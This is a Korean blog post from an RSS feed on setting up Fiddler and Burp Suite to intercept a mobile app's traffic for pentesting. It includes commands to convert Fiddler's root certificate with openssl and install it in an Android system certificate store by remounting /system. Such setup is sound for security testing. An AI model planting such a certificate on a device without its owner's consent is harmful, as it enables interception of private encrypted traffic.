data-filename=&quot;blob&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피들러는 8080 포트를 프록시로 설정해 Burp에서 패킷을 잡을 수 있게한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T4HYm/btsm9DaeH5T/o1AZLnqCCKNW9DX4HsySk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T4HYm/btsm9DaeH5T/o1AZLnqCCKNW9DX4HsySk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T4HYm/btsm9DaeH5T/o1AZLnqCCKNW9DX4HsySk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT4HYm%2Fbtsm9DaeH5T%2Fo1AZLnqCCKNW9DX4HsySk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;482&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp는 피들러와의 연동을 위해 8080 포트를 All interface로 진행한다. 127.0.0.1로 진행해도 상관 없을 거 같긴하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2jO2V/btsm8QVtYp9/4iDacRt2Z89QKP4cLMUqDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2jO2V/btsm8QVtYp9/4iDacRt2Z89QKP4cLMUqDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2jO2V/btsm8QVtYp9/4iDacRt2Z89QKP4cLMUqDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2jO2V%2Fbtsm8QVtYp9%2F4iDacRt2Z89QKP4cLMUqDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;353&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러면 패킷이 정상적으로 잡힐 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 안된다면 피들러를 한번 껐다가 다시 켜볼것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+ 필터가 필요하다면 아래와 같이 세팅&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1155&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brUjAd/btsm2HLR9gR/vf2lWFM9zBjnpPvOJsN9rK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brUjAd/btsm2HLR9gR/vf2lWFM9zBjnpPvOJsN9rK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brUjAd/btsm2HLR9gR/vf2lWFM9zBjnpPvOJsN9rK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrUjAd%2Fbtsm2HLR9gR%2Fvf2lWFM9zBjnpPvOJsN9rK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1155&quot; height=&quot;715&quot; data-origin-width=&quot;1155&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드의 경우 안드로이드 8버전 이상부터 인증서를 직접 수정해서 넣어줘야 신뢰할 수 있는 인증서 획득이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왼쪽 하단 QuickExec에 about:config 입력 후 엔터시 설정이 나오는데 아래와 같은 설정이 없다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어를 순차적으로&amp;nbsp; QuickExec에 넣어서 작동시켜줘야한다.&lt;/p&gt;
&lt;pre id=&quot;code_1689145033186&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;PREFS SET fiddler.certmaker.validdays 360
PREFS SET fiddler.certmaker.gracedays 1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 아래와 같이 인증서 초기화 및 새로 발급받는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;677&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TRngy/btsni8CA5wW/wthTSGP3UrDl8KMdZmDTGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TRngy/btsni8CA5wW/wthTSGP3UrDl8KMdZmDTGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TRngy/btsni8CA5wW/wthTSGP3UrDl8KMdZmDTGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTRngy%2Fbtsni8CA5wW%2FwthTSGP3UrDl8KMdZmDTGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;677&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;677&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;677&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdsEUX/btsnoH4qhx5/9h2z9q4EYParq3qgxeNGZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdsEUX/btsnoH4qhx5/9h2z9q4EYParq3qgxeNGZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdsEUX/btsnoH4qhx5/9h2z9q4EYParq3qgxeNGZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdsEUX%2FbtsnoH4qhx5%2F9h2z9q4EYParq3qgxeNGZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;677&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;677&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추출된 파일은 바탕화면에 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 인증서는 openssl로 안드로이드 단말기 내에서 사용할 수 있는 파일로 만들어 집어넣는다.&lt;/p&gt;
&lt;pre id=&quot;code_1689145560668&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 확장자 der로 변경
openssl x509 -inform DER -in FiddlerRoot.der -out FiddlerRoot.pem
openssl x509 -inform PEM -subject_hash_old -in FiddlerRoot.pem | head -1
# 위 결과값을 이름으로 변경하고 확장자를 &amp;lt;해쉬값&amp;gt;.0 으로 변경해준다.
mount -o rw,remount /system
chmod 644 269953fb.0
mv 269953fb.0 /system/etc/security/cacerts/
#만약 인식 안되면 재부팅&lt;/code&gt;&lt;/pre&gt;</description>
      <category>APP 모의해킹/Setting</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/87</guid>
      <comments>https://tyrell96.tistory.com/87#entry87comment</comments>
      <pubDate>Mon, 10 Jul 2023 17:41:12 +0900</pubDate>
    </item>
  </channel>
</rss>